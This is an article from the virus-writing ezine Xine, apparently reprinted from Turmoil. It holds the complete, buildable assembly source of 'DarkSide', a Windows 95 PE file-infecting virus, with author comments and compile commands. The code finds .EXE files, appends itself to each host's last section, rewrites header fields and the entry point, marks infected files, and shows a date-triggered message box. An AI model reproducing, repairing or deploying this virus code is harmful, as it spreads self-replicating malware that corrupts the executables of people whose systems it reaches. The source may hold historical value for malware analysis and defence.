Copy Link
Add to Bookmark
Report
Xine - issue #3 - Phile 204
/-----------------------------\
| Xine - issue #3 - Phile 204 |
\-----------------------------/
;
;
; DarkSide, by Murkry/IkX
;
;
; One of my earlier attempts at expanding the Last Section of a PE file
; after I heard about Jacky I had to try it out. this virus is buggy but
; it works on most PE files.
; Anyway it also shows how to use the host for free Data space and calling
; other DLL the KErnel32 (user32) for a MsgBox
;
;
; Since few people had heard of it I figure I could release it again in Xine3.
;
;
; DarkSide
;
; Designed and Built by
; MurKry
; For Turmoil ezine
; NonResident PE infector
; Non Directory Jumping
;
; Will infect all "normal" PE win95 exe files
; Normal being PE format and base image set to 400000h
; This limation would require just to find where the file was located
; memory, not the offset but the Base not a big deal but I am
; busy so it will stay this the next virus will include this feature
;
; Uses the unint'ed Data area of the first data section it finds
; but must have a minium of 600h bytes free
; this means it can infect a file that it can not jump from,
; due to the 600h limations
;
; Will display a Message box on March 9 bad day for me some years ago :)
;
; Use a simple GetProc routine to find the Address of several API calls
; including the CallVxd0 routine which is used to access the
; current date, why? why not. There are better but not easier ways
; Int21 lives on
; Well for those who have not played with the VxdCall0 int21
; not sure, if the API file read file write do this but I have written
; a routine using the fact that if you use the int 21 read\write file
; you can read the file into READ only area like 0BFF70000H or other
; READ only areas. If you do not see it yet this can enable a nonVXD way
; of going TSR in Win95!!! Anyway my routine just call BEEP but it was
; called whenever the CreatProccessA was called Sadly this was only called
; in my limited testing when I used a debugger, never when Win95 called the
; the API. So this could be made into a virus that only infect when debuggers
; or when a process Spawned another Process.
; Enough chatter enjoy :)
;
; Thanks to the Members of LT for letting this humble submision join there
; Zine.
; Thanks to Yosha for Bug testing for me :-)
; I am quite sure there are other bugs but hey this is still a new area for
; most of us ;)
;
; make below into a .Bat file to compile
; Due to a bug i left in this sometimes this will
; infect itself and then its dead (I have no marker in Generation One
; So I renamed it to a .com file so this will not happen
;
;
;-----------bat file to compile
;
; tasm32 /ml /m3 Dark,,;
; tlink32 /Tpe /aa /c Dark,Dark,, import32.lib
; del Dark.com
; ren Dark.exe Dark.com
.386
locals
jumps
.model flat ,stdcall
;----------------------------------------
;define the API calls that the host makes
extrn ExitProcess:PROC
extrn Beep:PROC
;----------------------------------------
;----------------------------------------
Viruslen equ (EndViri - offset HOST )
K32 equ 0BFF70000H ;LOCATION OF THE KERNEL32
;MODULE FOR WIN95
;----------------------------------------
;BELOW IS THE DATA AREA EQU FOR THE VIRUS
;ESI SHOULD POINT TO A START OF A MIN OF 600K R/W DATA AREA (I HOPE :> )
OrginIP equ 00h ;store the orginal ip here
XXXX equ 04h
Counter equ 08h ;used as a counter
SrchHdle equ 0Ch ;Srch handle for the
FleHdle equ 010h ;File handle
Vsize equ 014h ;holds the VirtualSize of the virus
PElocation equ 018h ; where PE header start
LocOfOldIP equ 01Ch ;where we will place the old ip
OldIP equ 020h ;Area to hold it b4 we write it
NewIP equ 024h ;NewIP
VxDCall equ 028h ;BFF713D4
Create equ 02Ch ;BFF77817
Close equ 030h ;BFF980CF
Read equ 034h ;BFF75806
FFirst equ 038h ;BFF77893
FNext equ 03Ch ;BFF778CB
Write equ 040h ;BFF7580D
Seek equ 044H ;BFFC16F8
GetMod equ 048h ; lloadBFF77433
GetProc equ 04Ch ;BFF76C18
AddFunc equ 050h
AddName equ 054h
AddOrd Equ 058h
baseF Equ 05Ch
Export Equ 060h
Nindex equ 064h
limit equ 068h
MessBox equ 06Ch
ExeFile equ 070h ;'*.EXE,0 ;2a2e4558 45 00 00 00
Readin equ 078h ;#bytes read by the file read
filler equ 07ch
;left open for other things ;)
SRCH EQU 0C0H ;length 139h I think ;)
;should end around 1a1h
;Used to read the header of the PE file 400h (1024) gives enough
;room for most PE files
BUFFER equ 200H ;buffer for read write area
; this leaves 400h free
; or 1024D for us decimal users
;---------------------------------------------------------------------
;---------------------------------------------------------------------
; not used
.data ;the data area
storage dd 4 dup(0)
;---------------------------------------------------------------------
;---------------------------------------------------------------------
.code ;executable code starts here
HOST:
pushad ;store everthing
push eax ;the IP of the virus
;here we are modifing the store EAX in the stack so we can
;use it as a jump to return the host later
;warning this will crash horrible in a non Win95 setup
; I suspect it is not true in other
; OS (NT) that
; eax = the entry point on start up or that the program is loaded at
;400000h
; On infect the virii checks if the image base is 400000
; so the virus should be ok --I hope
mov edx,offset oldip - offset HOST
add edx,eax ;
mov eax,[edx]
add eax,0400000h
mov [esp + 20h],eax ;fix the eax be 4 so we can return
; to the host
CALL GetDataSpace ;just checks for some empty
;space note the routine will
; fail if the image base is no
;00400000 if esi = 0 then it
; failed
OR ESI,ESI ;check if we found enough memory
JZ NotWinPopx ;for us to play with
pop dword ptr [esi + OrginIP] ;store the start point
;here eax in win95 = EIP
push esi
pop ebp ; stores are data here
;
CAll GetAddress ;we assume all is ok
jmp GotAddress ; here
;====================================================================
;these are all the items the virus will import
; and the dll other than kernel 32
CR db 'CreateFileA',0
Clo db '_lclose',0
RF db 'ReadFile',0
FF db 'FindFirstFileA',0
FN db 'FindNextFileA',0
WF db 'WriteFile',0
SK db 'SetFilePointer',0
GM db 'LoadLibraryA',0 ;'GetModuleHandleA',0
GetPr db 'GetProcAddress',0
User db 'USER32',0
Messb db 'MessageBoxA',0
;====================================================================
GotAddress:
OR ESI,ESI ;check if we had a problem
JnZ Win95
NotWinPopx:
pop eax
NotWin95:
jmp fini ;alldone leave the rest to the host
;-----------------------------------------------------------------
Win95:
call CheckDate ;uses the VxDcall to checkthe
;date
cmp eax,1
jne NotToday ;no display today
call MessShow ;display
cmp eax,6 ;hey they agree user pressed yes
je fini ;so give them a break
;so on this date we might not infect
; if the user agrees :)
NotToday:
;ok now just do a typical find first find next to infect something
call GetFile ;find file
jmp FileFirst1
TryTryAgain:
call GetNextF
FileFirst1:
cmp eax,0
je NoFile
call CheckFile ;check is pe and
;and if so returns with
;loation of PE header
cmp eax,0
jne fileok
call FileClose ;was not good
jmp TryTryAgain ;get out
fileok:
call InfectIt ;well is file was ok try to infect
cmp eax,0
je TryTryAgain
CloseFile:
Call FileClose
NoFile:
fini:
popad ;
jmp eax ;
;-------------------------------------------------------------
;if we reach here we know the file is open
;its a PE non infected
;murk
; 1 check if the last header is in our buffer and that the last
; header is the end of the file should always be but ya never know ;)
; 2 Write ourselves to the end of the file
; 3 update the Header for our size and the flags should be 'or' with
; with the code\exec flags so it can run
; 4 Update the rva for the entry point should be able to use the old
; Vsize + VAddress = new Entry point
; update the Size of code field in the PE
;
;
InfectIt:
mov eax,[ ebp + SRCH + 20h] ;size of the exe
Call FileSeek
;ok we are at the end of the file
;now write ourselve there
;but we need to keep the file alignment nonsense so
;some calculations first
;lets get the oldIP
mov esi,[ebp + PElocation] ;esi holds the PE start
mov eax,[ESI + 28h] ;eip RVA
MOV [EBP + OldIP],eax
mov eax, Viruslen - 1
mov ecx, [esi + 3ch] ;file align is 3ch
add eax,ecx ;
xor edx,edx
div ecx
mul ecx
push eax ;this is how much we are
;writing with the buffer
pop ecx
mov dword ptr[ebp + Vsize],ecx
add dword ptr[esi + 50h], ecx ;fix the image size
;ok write the virus out to the file
mov ecx, Viruslen
mov edx,dword ptr [ebp + OrginIP] ;get what we are writing
call FileWrite ;write this to the end
;now write the oldip out to the file
mov ecx,8 ;we want to write the
mov edx,ebp ;old ip at the end of the
add edx,OldIP ;virus
call FileWrite ;
;write the padding out to the file to bring it up to specs for the
; file alignment
mov edx,400400h ;some random bytes to flesh
mov ecx,dword ptr[ebp + Vsize] ;it out
sub ecx,Viruslen + 8
call FileWrite
;ok we need to fix the PE header and Section Header now
;first get last section header
;section hdr size = 28h
;pe size = f8h
mov ax, word ptr [esi + 6]
cwde
dec eax
mov ecx,028h
mul ecx
add eax,0f8h
push esi
pop edi ;points to the header
add esi,eax ;esi = last section header
;which the virus should be in
cmp eax,3d8h
jg errorInfect
;first set new eip Vaddress + VsizeRawData
;eip
;ptr to raw data
mov eax,[ ebp + SRCH + 20h] ;size of the exe
mov ecx, [edi + 3ch] ;file align is 3ch
xor edx,edx
div ecx
PUSH EDX ;SAVES THE ODD PART OF THE FILE
push eax
mov eax,[esi + 14h] ; ptr to raw data
div ecx
pop ebx
sub ebx,eax
push ebx
mov eax,[esi + 10h] ;size of raw data
dec eax ;
add eax,ecx ;
div ecx ;
push eax
pop ebx ;size of section
pop eax ;left over from file
sub eax,ebx ;padding at end of file
mul ecx
POP EBX ;ADD THE DIFFRENCE TO THE FILE
ADD EAX,EBX
mov [ebp +filler],eax
add dword ptr[edi + 50h], eax ;fix image size
mov eax,[esi + 0ch]
add eax,[esi + 10h] ;Size of raw data
add eax,[ebp +filler]
mov [edi + 28h],eax ;sets up the eip
mov eax,[ebp + Vsize]
add eax,[ebp +filler]
add [esi + 8h],eax ;fix Vsize
add [esi + 10h],eax ;fix size raw data
or [esi + 24h],20000020h
mov ax,'TL'
mov word ptr [ebp + BUFFER + 12h],ax
xor eax,eax ;move pointer start of file
Call FileSeek ;to update header
mov ecx,400h ;we want to write the
mov edx,ebp ;old ip at the end of the
add edx,BUFFER ;virus
call FileWrite ;
ret
errorInfect:
xor eax,eax
ret
;---------------------------------------------------------------------------
;eax = the distance from the start end existing
; we want to move pointer
FileSeek:
push LARGE 0 ;from where do we seek
push LARGE 0 ;high dword of where we search to
push eax ;low dword
push dword ptr [ebp + FleHdle]
call dword ptr [EBP + Seek]
ret
;-------------------------------------------------------------------
FileClose:
push DWORD PTR [ebp + FleHdle]
CALL DWORD PTR [EBP + Close]
ret
;-------------------------------------------------------------------
; Pass in ecx amount we want to read
; edx where to write it too
;
FileWrite:
push LARGE 0 ;needed to set to null (0)
;for our needs
LEA eax,[ebp + Readin] ;this will hold how many
push eax ;bytes actualy written
push ecx ;how many bytes
push edx ;buffer to read data from
push dword ptr [ebp + FleHdle] ;file handle
call dword ptr [ebp + Write] ;call the Read api
;if no prob then eax = true 1
;else set to 0 for false
or eax,eax ;set z if problem
ret ;
;-------------------------------------------------------------------
;-------------------------------------------------------------
;CheckFile routine will open file
;get pe header location and check if already infected
;returns 0 if problem
;
CheckFile:
Call OpenIt
cmp eax,-1 ;if -1 no good
je ChError
; ok file is open handle is saved in FleHdle
; now the viruses needs to read in 1k if the file
; check for PE and infection set the MZ checksum to
; LT for the Turmoil Zine
mov ecx,400h ;buffer size
lea edx,[ebp + BUFFER]
Call ReadFile
jz ChError
;file header is now in virus BUFFER
;check for MZ
mov eax,[ebp + BUFFER]
cmp ax,'ZM'
jne ChError
;ok check for PE
mov ax,[ebp + BUFFER + 3ch]
cwde
add eax,BUFFER
add eax,ebp
mov [ebp + PElocation],eax
push eax
pop esi
mov eax,dword ptr [esi]
cmp eax,'EP'
jne ChError
;oops almost forgot check for LT
mov ax,word ptr[ebp + BUFFER + 12h]
cmp ax,'TL'
je ChError
;check for files that do not start at
; 400000h
;
mov eax,dword ptr[esi + 34h] ;IMAGE BASE
CMP EAX,400000H
jne ChError
inc ax ;make sure eax != 0
ret
ChError:
xor eax,eax
Ret
;--------------------------------------------------------------------------
ReadFile:
; Pass in ecx amount we want to read
; edx where to write it too
;
push LARGE 0 ;useless to virii
lea eax,[ebp + Readin] ;howmany bytes read in
push eax
push ecx ;try to read this many bytes
push edx ;to here
push dword ptr [ebp + FleHdle] ; this file handle
call dword ptr [ebp + Read] ;call the api
or eax,eax ;if problem set z
ret
;------------------------------------------------------------------------
;--------------------------------------------------------------------------
OpenIt:
;tries to open the file if it can the eax = the handle
; otherwise eax = -1 (ffffffff )
;thats all it does
;
xor eax,eax
push eax
push eax
push 00000003 ;existing file
PUSH eax
push eax
push 0c0000000h ;R/W
lea eax,[ebp+ SRCH + 02ch] ;location of file name
push eax ;in the win95 finddata
;structure
call dword ptr[ebp + Create]
mov [ebp + FleHdle],eax ;save the handle
ret
;-------------------------------------------------------------------
;-------------------------------------------------------------
;try to find the file usning FindFile and FindNext
;
GetFile:
lea eax,[ebp + SRCH] ;the find data area
push eax ;
lea edi,[ebp + ExeFile ]
push edi ;push the location of
mov al,'*' ;exe file mask
cmpsb ;
je gotexe ;this should never get run
;again but ya never know
;below is a nice way to waste time and it also puts *.EXE0 into the
;correct location in out data block
dec edi ;after the cmpbs
call o1
o1: pop eax
sub eax, offset o1 - offset GetFile
push eax
pop esi
lodsd ;exe file mask
add eax,5784a89dh ;now make the bytes at
stosd ;at o1 = to '*.EXE'0
lodsd
sub eax,0e84fffbbh
stosd
gotexe:
call dword ptr [ebp + FFirst]
mov [ebp + SrchHdle],eax
cmp eax,-1
jne GotOneF
xor eax,eax
;no file found set eax to 0
GotOneF:
ret
GetNextF:
inc dword ptr [EBP + Counter] ; check how many we did
lea eax,[ebp + SRCH] ;the find data area
push eax ;
mov eax,[ebp + SrchHdle]
push eax
call dword ptr [ebp + FNext]
;if returns with 0 then no more files
;other wise it found one
jmp GotOneF
;-------------------------------------------------------------
CheckDate:
;for the hell of it use int 21 to do this
mov eax,00002a00h
call INT_21
xor eax,eax
cmp dh,03 ;march
jne CDRET ;
cmp dl,09 ;ninth
jne CDRET ;
inc eax
CDRET:
ret
;-------------------------------------------------------------
INT_21:
push ecx
push eax
push 002a0010h
call dword ptr [ebp + VxDCall]
RET
;vxd0 dd 0bff713d4h ;this is the addresss for the
;vxdcall0
;get_21 dd 002a0010h ;this is the 2a = Vwin32 10 = the int21
;routine
;------------------------------------------------------------------------------
NameD db ' DarkSide',0
Warning db ' Nothing Going to ', 0Dh
db ' Save you From a Love', 0Dh
db " that's Blind", 0dh
db ' Slip to the', 0Dh
db ' DarkSide', 0Dh
db ' and Cross that Line',0Dh,0Dh
db ' March 9, 1986',0
MessShow:
mov eax,1024h ;gives me a question mark
;2 yes/no buttons
;and in front
push eax
mov eax,offset NameD - offset HOST
add eax,[ebp + OrginIP]
push eax
add eax, offset Warning - offset NameD
push eax
xor eax,eax
push eax
call dword ptr [MessBox +ebp]
;note that eax will equal 6 for yes, 7 for no
ret
;-------------------------------------------------------------------------------
; onreturn will have
; ESI = the start of a 4k area of r\w data that the virus can use
; eax = the data location to use
GetDataSpace:
mov eax,00004550H ;check for PE00
mov edi, 00400000h
repne scasd ;
jne NotWin95A
xchg edi,esi
lodsw ; ok we are at header + 4
; now we are at 6
lodsw ; ax = the number of sections
;peheader + 8
xor ecx,ecx ;get the number of sections
mov ecx,eax ;
add esi,0f8h - 8 ;get to the section header
;
;esi points to the first section header
TryNext:
cmp ecx,0
jz NotWin95A
mov eax,[esi + 24h] ;flags
and eax,0c0000000h
cmp eax,0c0000000h
jne NextOne1
mov eax,[esi + 8h] ;virtual size
xor edx,edx
mov ebx,4095
add eax,ebx
inc ebx
div ebx
mul ebx
sub eax,[esi + 10h] ;size of raw data
cmp eax,600h
jge OkSpace
NextOne1:
add esi,28h
loop TryNext
jmp NotWin95A
OkSpace:
mov eax,[esi + 0ch] ;virtual address
add eax,[esi + 10h] ;size of raw data
add eax,00400000h
push eax
pop esi
ret
NotWin95A:
xor esi,esi
ret
;end of GetDataSpace
;-----------------------------------------------------------
;-----------------------------------------------------------
;returns with the VxDcall fill with the correct location
;or again esi = 0 if failed
;
;
GetAddress:
XOR EAX,EAX
MOV ESI,K32 + 3CH ;points to the New Header
LODSW
;ESI = THE PE HEADER START of the Kernel32
ADD EAX,K32
CMP DWORD PTR [EAX],00004550H ;check for PE00
JE NoERROR
ERROR: JMP NotWin95A
;ESI SHOULD HOLD THE POINTER TO THE
;RVA TO THE EXPORT DIRECTORY
NoERROR:
MOV ESI,[EAX + 78H] ; 78H = THE EXPORT RVA
ADD ESI,K32
mov [ebp + Export],esi
add esi, 10H ;
LODSD ;
mov [ebp + baseF],eax ;base of the functions
lodsd ;Number of Functions
lodsd ;Number of Names
add eax,K32 ;this is to not go past the
mov [ebp + limit],eax ;end of the search routine
lodsd ;Address of Functions
add eax,K32
mov [ebp + AddFunc],eax ;
lodsd
add eax,K32
mov [ebp + AddName],eax ;Address of Names
lodsd
add eax,K32
mov [ebp + AddOrd],eax ;
mov esi,[ebp + AddFunc]
lodsd
add eax,K32
mov [ebp + VxDCall],eax ; get the first routine which is
; the VxDCall
;ok we ha ve everthing we need to go ahead and locate the address's of the
;KERNEL32.dll functions
mov ebx,offset GetPr - offset HOST ;gets the Routine we
add ebx,[ebp + OrginIP] ;are looking for
LookLoop:
mov esi,[ebp + AddName] ;get the first rva pointer to a name
mov [ebp + Nindex],esi ;index into the name array
mov edi,[esi] ;now make it a true pointer to the
add edi,K32 ;name by adding the offset
mov ecx,0 ;sets the counter to 0
TryAgain:
mov esi,ebx ;what function we are looking for
;now simple cmp strs
MatchByte:
cmpsb
jne NextOne ;not it try next nameof fucntion
cmp byte ptr [edi],0 ;if equal to 0 we found a match
je GotIt ;
jmp MatchByte ;nope try next byte
NextOne:
inc cx
cmp cx,[ebp + limit]
jge not_found
add dword ptr [ebp + Nindex],4 ;get the next pointer rva
mov esi,[ebp + Nindex] ;and try again
mov edi,[esi] ;
add edi,K32 ;
jmp TryAgain ;
;---------------------------------------------------------------------
GotIt:
;note if not a match is found the all other from then on in are blank
;in other words dont mispell ,or ask for for a function that is not in
; KERNEL32
;esi = the 0 at the end of the name of the strings given to us to look for
;
;cx = the index into the AddOrd
;take Nindex * 4 + [AddOrd] = Ordinal
;Ordinal * 4 + [AddFunc] should be the rva to the fuction
mov ebx,esi ;get set for next search routine
inc ebx ;
shl ecx,1 ;*2 looking into a word array
mov Esi,[ebp + AddOrd]
add Esi,ecx
xor eax,eax
mov ax,word ptr [esi]
;here ax equals the ordinal - the base
;if ordinal is passed to hear then we should be able to skip
;searching for a name and hit here
;not sure of course but it tested on a few that I tried
;
shl eax,2 ;*4 looking into a dword array
mov esi,[ebp + AddFunc]
add Esi,eax
mov Edi,dword ptr [esi]
add Edi,K32
mov [ebp + GetProc],edi
jmp over_error
Not95:
xor esi,esi ;if the header of the kernel
;is not there forget it, its not
; the Win95 we know and love ;)
not_found: ; String pass to us is not a
xor edi,edi ; valid fucntion name
over_error:
mov ebx,Create ;the data area
mov edi, offset CR - offset HOST ;name
add edi,[ebp + OrginIP]
loopfind:
push edi
push K32
call dword ptr [ebp + GetProc]
;inc eax
;mov edx,dword ptr[eax]
;mov [ebp + ebx],edx
mov [ebp + ebx],eax
add ebx, +4
cmp ebx, GetProc
je allDone
mov al,0
repne scasb
jmp loopfind
allDone:
;we might be lucky and have everthing we need now we get the
;message box api
nop
nop
nop
mov eax,offset User - offset HOST
add eax,[ebp + OrginIP]
push eax
call dword ptr [ebp + GetMod]
mov edi,offset Messb - offset HOST
add edi,[ebp + OrginIP]
push edi ;push the offset of theAPI we want
push eax ; push the handle
call dword ptr [ebp + GetProc]
MOV [EBP + MessBox],eax ;save it
getout:
ret
;YEA HARD CODED <SIGH>
;kern dd 0BFF70000h ;must add to all rva's
;---------------------------------------------------------------------
db 'DarKSide'
EndViri equ $
oldip dd offset fini1 - 400000h
DarkLen equ ( EndViri - offset HOST )
;
fini1:
xor eax,eax
push eax
push eax ;doesnt matter in 95 what this is
call Beep ;Test
push LARGE -1
;call dword ptr edi ;when I used the routine to locate
;the ExitProcess address
call ExitProcess ;this simply terminates the program
end HOST